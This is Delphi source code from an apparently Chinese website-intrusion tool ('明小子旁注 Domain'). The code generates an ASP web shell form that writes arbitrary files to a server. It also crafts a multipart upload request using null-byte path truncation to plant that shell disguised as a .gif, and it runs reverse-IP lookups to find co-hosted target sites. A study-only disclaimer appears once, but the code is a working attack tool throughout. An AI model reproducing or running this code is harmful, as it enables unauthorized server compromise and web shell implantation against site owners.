unit1.~pas

明小子旁注Domain3.0和Domain2.2两个版本源码

      Fmemo.Add('<% Response.write "本文件绝对路径" %>');
      Fmemo.Add('<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>');
      Fmemo.Add('<br>');
      Fmemo.Add('<% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>" %>' + H);
      Fmemo.Add('<% Response.write "<form action='''' method=post>" %>');
      Fmemo.Add('</span> </td>');
      Fmemo.Add('</tr>');
      Fmemo.Add('<tr>');
      Fmemo.Add('<td bgcolor="#FFFFFF"><span class="black">输入保存路径：<% Response.Write "<input type=text name=syfdpath width=200 size=81>" %>' + H);
      Fmemo.Add('</span></td>');
      Fmemo.Add('</tr>');
      Fmemo.Add('<tr>');
      Fmemo.Add('<td bgcolor="#FFFFFF" class="black">');
      Fmemo.Add('<% Response.write "输入文件内容：" %>');
      Fmemo.Add('<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>');
      Fmemo.Add('</td>');
      Fmemo.Add('</tr>');
      Fmemo.Add('<tr>');
      Fmemo.Add('<td bgcolor="#FFFFFF"><div align="center"><span class="black">');
      Fmemo.Add('<% Response.write "<input type=submit value=保存>" %>');
      Fmemo.Add('</span></div></td>');
      Fmemo.Add('</tr>');
      Fmemo.Add('</tr>');
      Fmemo.Add('<td bgcolor="#FFFFFF" class="black"><div align="center">注：此程序只供学习研究。如利用此程序作非法用途，后果自负。<a href="http://www.socut.com" target="_blank"><font color="#0000FF">www.socut.com</font></a>');
      Fmemo.Add('烁空设计友情修改版。</div></td>');
      Fmemo.Add('</tr>');
      Fmemo.Add('</table></td>');
      Fmemo.Add('</tr>');
      Fmemo.Add('</table></td>');
      Fmemo.Add('</tr>');
      Fmemo.Add('</table>');
      Fmemo.Add('</body>');
      Fmemo.Add('</html>');
    end
    else
      FMemo.LoadFromFile(ASPFileName.Text);
    Result := FMemo.Text;
    FMemo.Free;
  except
    FMemo.Free;
    BtUpFiles.Enabled := true;
  end;
end; //------------------------------------- END ----------------------------------

function TForm1.CreateShellCode: string; //===================== 上传木马的函数 ===============
var
  strtext2: string;
begin
  try
    Result := '-----------------------------7d22f8371b051c' + #13#10;
    Result := Result + 'Content-Disposition: form-data; name="filepath"' + #13#10;
    Result := Result + #13#10;
    if R1_Defautl.Checked then
      Result := Result + Trim(ASPFileName.Text) + #0#13#10
    else
    begin
      strtext2 := Rep;
      Result := Result + Trim(strtext2) + #0#13#10
    end;
    Result := Result + '-----------------------------7d22f8371b051c' + #13#10;
    Result := Result + 'Content-Disposition: form-data; name="act"' + #13#10;
    Result := Result + #13#10;
    Result := Result + 'upload' + #13#10;
    Result := Result + '-----------------------------7d22f8371b051c' + #13#10;
    Result := Result + 'Content-Disposition: form-data; name="file1"; filename="D:\Newmm.gif"' + #13#10;
    Result := Result + 'Content-Type: text/plain' + #13#10;
    Result := Result + #13#10;
    Result := Result + GetFileMemo + #13#10;
    Result := Result + '-----------------------------7d22f8371b051c' + #13#10;
    Result := Result + 'Content-Disposition: form-data; name="fname"' + #13#10;
    Result := Result + #13#10;
    Result := Result + 'D:\Newmm.gif' + #13#10;
    Result := Result + '-----------------------------7d22f8371b051c' + #13#10;
    Result := Result + 'Content-Disposition: form-data; name="Submit"' + #13#10;
    Result := Result + #13#10;
    Result := Result + '上传' + #13#10;
    Result := Result + '-----------------------------7d22f8371b051c--' + #13#10;
  except
    BtUpFiles.Enabled := true;
  end;

end; //------------------------------------- END ----------------------------------


//=================== 得到域名的总数量 ===================

procedure GetSiteSum;
const
  SiteSUMsPostxt = '</b> - IP hosts <b>'; //HTML代码中域名数量起始位置的特征码
  SiteSUMePostxt = '</b> Total'; //HTML代码中域名数量终止位置的特征码
var
  SitesPos, SiteePos: integer; //记录"</b> - IP hosts <b>" 和 "</b> Total" 的位置
  SiteLen, SiteSum: integer; //SiteLen记录记录要截取的长度
  MemoStr, SiteSumText: string; //SiteSumText保存域名的数量
begin
  SitesPos := Pos(SiteSUMsPostxt, HTMLCode) + Length(SiteSUMsPostxt); //得到 </b> - IP hosts <b> 的位置
  SiteePos := Pos(SiteSUMePostxt, HTMLCode); //得到 </b> Total 的位置
  SiteLen := SiteePos - SitesPos; //起始位置 - 终止位置 = Copy的长度
  SiteSumText := Copy(HTMLCode, SitesPos, SiteLen); //将2特征码之间的字符串复制到SiteSumText
  Form1.Label1.Caption := '共有站点:' + SiteSumText; //将域名数量显示到标签上

  if StrToInt(SiteSumText) > 50 then Form1.BtDown.Enabled := True; //往上翻时
  if ((StrToInt(SiteSumText) div (RecQueryPage * 50))) <= 0 then
    Form1.BtDown.Enabled := False; //往下翻时
end;

//==================== 分解出HTMLCode中域名字符串 =====================

procedure GetALLSite;
const
  GetSitesPosText = '.">'; //起始位置的特征码
  GetSiteePosText = '.</a>'; //终止位置的特征码
var
  SitesPos, SiteePos, SiteTextLen: integer; //记录以上常量的起始位置和终止位置
  SaveSite: TStrings;
begin
  try
    SaveSite := TStringList.Create;
    SaveSite.Clear;
    Form1.SiteList.Clear;
  {当Pos特征码GetSitesPosText后返回的值大于0时循环剪切出GetSitesPosText与
  GetSiteePosText之间的域名,当Pos返回值小于0时,退出该循环}
    while Pos(GetSitesPosText, HTMLCode) > 0 do
    begin
      SitesPos := Pos(GetSitesPosText, HTMLCode) + Length(GetSitesPosText);
      SiteePos := Pos(GetSiteePosText, HTMLCode);
      SiteTextLen := SiteePos - SitesPos;
      SaveSite.Add(LowerCase(Copy(HTMLCode, SitesPos, SiteTextLen)));
      //将GetSitesPosText替换为空,继续循环往下查找
      HTMLCode := StringReplace(HTMLCode, GetSitesPosText, '', [rfIgnoreCase]);
      //将GetSiteePosText替换为空,继续循环往下查找
      HTMLCode := StringReplace(HTMLCode, GetSiteePosText, '', [rfIgnoreCase]);
    end;
    Form1.SiteList.Items.Text := SaveSite.Text;
    Form1.Label3.Caption := Format('本页显示: %d - %d', [1, Form1.SiteList.Items.Count]);
    Form1.BtUp.Enabled := True;
  except //出错,不做处理
  end;
end;

//=================== 获取HTML代码及查询的过程函数 ====================

procedure GetHTMLCode;
const
  GetSiteaText1 = 'http://whois.webhosting.info/';
  GetSiteaText2 = '?pi=';
  GetSiteaText3 = '&ob=SLD&oo=ASC';
  SiteNULLText = 'Details'; //没有绑定国际域名的特征码
  ValiDateText = 'Enter the security'; //提示输入验证码的特征码
var
  RecordTime: TTime; //记录开始时间
  GetSiteaText: string; //将GetSiteaText1..3 组合起来查询
  SiteNULLTextPos: integer; //没有绑定国际域名的特征码的位置
  ValiDateTextPos: integer; //提示输入验证码的特征码的位置
  tishi: string;
begin
  try
    Form1.PageControl1.TabIndex := 0;
    RecordTime := Now;
    Form1.btQuery.Enabled := False;

    GetSiteaText := GetSiteaText1 + Trim(Form1.IPaddress.Text) + GetSiteaText2 + IntToStr(RecQueryPage) + GetSiteaText3;
    HTMLCode := Form1.IdHTTP1.Get(GetSiteaText); //将获取到的代码保存到HTMLCode中
  //Form1.Label2.Caption:='当前页面: '+inttostr(RecQueryPage);
    Form1.EdPage.Text := inttostr(RecQueryPage);

 //===================== 判断是否需要输入验证码 ========================
    ValiDateTextPos := Pos(ValiDateText, HTMLCode);
    if ValiDateTextPos > 1 then
    begin
      application.MessageBox('提示:暂时无法查询,请手动输入验证码!' + #10#13 +
        '提交完验证码后在点击查询!', '请输入验证码', 48);

      Form1.Web.Navigate('http://whois.webhosting.info/' + Form1.IPaddress.Text);
      Form1.Ani.Stop;
      Form1.Ani.Visible := False;
      Form1.Label6.Caption := '';
      Form1.BtDown.Enabled := True;
      Form1.btQuery.Enabled := True;
      Form1.FlagOpen := 3;
      FlagOPEN2 := 3;
      Exit;
    end; //-------------------------- END -------------------------------

  //======================= 判断IP上是否有绑定域名 =====================
    SiteNULLTextPos := Pos(SiteNULLText, HTMLCode);
    if SiteNULLTextPos > 1 then
    begin
      tishi := stringreplace(Form1.SiteName.Text, 'http://', '', [rfignorecase]);
      tishi := stringreplace(tishi, 'www.', '', [rfignorecase]);
      Form1.Web.Navigate('http://whois.webhosting.info/' + tishi);
      application.MessageBox('提示①:该IP地址并没有绑定任何域名!请尝试查询其他IP地址!' + #10#13 +
        '--------------------------------------------------------------' + #10#13 +
        '提示②:正在打开的网页的IP Addresses上会显示该域名真实IP地址!' + #10#13 +
        '请手动复制该IP地址,然后粘贴IP框上再进行查询操作!' + #10#13 +
        '(如果网页中显示的IP和IP框原来的IP一样可免,如果没有显示任何IP可免)' + #10#13 +
        '--------------------------------------------------------------' + #10#13 +
        '提示③:没有找到你所要查询的指定页面.(注意:50个域名等于1页)', '提示', 32);

      Form1.Ani.Stop;
      Form1.Ani.Visible := False;
      Form1.Label6.Caption := '';
      Form1.btQuery.Enabled := True;
      Exit;
    end; //-------------------------- END -------------------------------

  //=========================== 查询部分 ===============================
    Form1.Ani.Stop;
    Form1.Ani.Visible := False;
    Form1.Label6.Caption := '';
    GetALLSite; //获取完毕HTML代码后,调用分解所有域名的过程
    GetSiteSum; //获取完毕HTML代码后,调用获取域名总数的过程
    Form1.StatusBar1.Panels[0].Text := '查询完毕!';
    Form1.StatusBar1.Panels[2].Text := '查询耗时:' + TimeToStr(Now - RecordTime);
    Form1.btQuery.Enabled := True;
    if RecQueryPage = 1 then Form1.BtUp.Enabled := False;
    if RecQueryPage > 1 then Form1.BtUp.Enabled := True;
  except
  end;
end; //------------------------------- END --------------------------------

//--------------------------- 域名转IP的函数 --------------------------

procedure GetIP;
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  I: Integer;
  GInitData: TWSADATA;
begin
  if Form1.SiteName.Text = '' then //判断是否有输入网址
  begin
    Form1.Statusbar1.Panels[0].Text := '请先输入域名!';
    Exit; //如果没有输入域名,提示 - 退出
  end;
  Form1.btPing.Enabled := False;
  try
    WSAStartup($101, GInitData);
    phe := GetHostByName(pchar(Trim(Form1.SiteName.Text)));
    pptr := PaPInAddr(Phe^.h_addr_list);
    Form1.IPaddress.Text := StrPas(inet_ntoa(pptr^[0]^));
    WSACleanup;
  except
    Form1.btPing.Enabled := True;
    Form1.Statusbar1.Panels[0].Text := '请检测域名是否输入正确,或网络连接是否正常!';
    Exit;
  end;
  Form1.btPing.Enabled := True;
  Form1.Statusbar1.Panels[0].Text := '域名解析成功!'; //提示
  Form1.IPaddress.SelStart := Length(Form1.IPaddress.Text);
end;

procedure TForm1.btPingClick(Sender: TObject);
var
  D: DWORD;
begin
  try
    BeginThread(nil, 0, @GetIP, nil, 0, D); //使用多线程调用域名转IP的自定义过程
    Timer1.Enabled := True;
  except
  end;
end;

//======================== 给回车键加上处理 ===========================

procedure TForm1.SiteNameKeyPress(Sender: TObject; var Key: Char);
var
  D: DWORD;
begin
  if key = #13 then //判断是否为回车键
  begin
    BeginThread(nil, 0, @GetIP, nil, 0, D);
    Timer1.Enabled := True;
  end;
end; //------------------------------ END ------------------------------

//===================== 窗体运行后自动创建部分 ========================

procedure TForm1.FormCreate(Sender: TObject);
begin
  try
    CLBox.Items.Text := SearchUP;
    Form1.CLBox.Checked[0] := True;
    Form1.CLBox.Checked[1] := True;
    Form1.CLBox.Checked[2] := True;
    TempSearch := SearchUP; //TempSearch得到earchUP返回的值
  except
    application.MessageBox('错误提示:没有检测到[ADMIN_LOGIN]字段,程序将在本目录' + #13 + '自动生成一个新的SearchPage.txt覆盖原来的!', '提示', 64);
    CreateTxt;
  end;

  ProgressBar1.Parent := StatusBar1;
  ProgressBar1.Top := 2;
  if RecQueryPage = 1 then
    BtUp.Enabled := False
  else BtUp.Enabled := true;
  Web.Navigate('about:blank');
  Application.OnException := ProException;
  FileBox1 := TFileListBox.Create(nil);
  FileBox1.Visible := false;
  FileBox1.Parent := Self;
  FileBox1.Mask := '*.MDB';
end; //----------------------------- END -------------------------------

procedure TForm1.WebTitleChange(Sender: TObject; const Text: WideString);
begin
  if (FlagOpen = 1) or (FlagOpen2 = 1) then
  begin
    TabSheet1.Caption := 'about:blank';
    exit
  end;
  try
    TabSheet1.Caption := Text; //在TabSheet1的Caption上显示网页标题
  except
  end;
end;

procedure GetSiteThread(P1: Pointer);
var
  T1: DWORD;
begin
  BeginThread(nil, 2, P1, nil, 2, T1); //建立线程过程
end;

//============================  查询按钮 ==============================

procedure TForm1.btQueryClick(Sender: TObject);
var
  D: DWORD;
begin
  try
    if IPaddress.Text = '' then //如果没有输入IP地址,那么提示,然后退出
    begin
      Statusbar1.Panels[0].Text := '请先输入IP地址,然后再做查询!';
      Exit;
    end;
    if FlagOpen2 = 1 then
      web.Navigate('about:blank');
    PageControl1.TabIndex := 0; //返回浏览区
    RecQueryPage := 1; //初始记录翻页的值
    BtUp.Enabled := False;
    BtDown.Enabled := False;
    Form1.Ani.Visible := True;
    Form1.Ani.Play(0, 20, 0);
    Form1.Label6.Caption := '正在查询中,请稍候...';
    ProgressBar1.Position := 0;
    GetSiteThread(@GetHTMLCode); //调用查询主机域名的线程

  except
  end;
end; //----------------------------- END -------------------------------

procedure TForm1.IdHTTP1WorkBegin(Sender: TObject; AWorkMode: TWorkMode;
  const AWorkCountMax: Integer);
begin
  ProgressBar1.Max := AWorkCountMax; //设置进度条的最大限度
  ProgressBar1.Position := 0; //初始化值
end;

procedure TForm1.IdHTTP1Work(Sender: TObject; AWorkMode: TWorkMode;
  const AWorkCount: Integer);
begin
  ProgressBar1.Position := AWorkCount; //设置进度条的工作进度
end;

//========================== 上一页和下一页 ===========================

procedure TForm1.BtUpClick(Sender: TObject);
begin
  BtUp.Enabled := False; //上翻
  BtDown.Enabled := False;
  RecQueryPage := RecQueryPage - 1; //下翻时减值1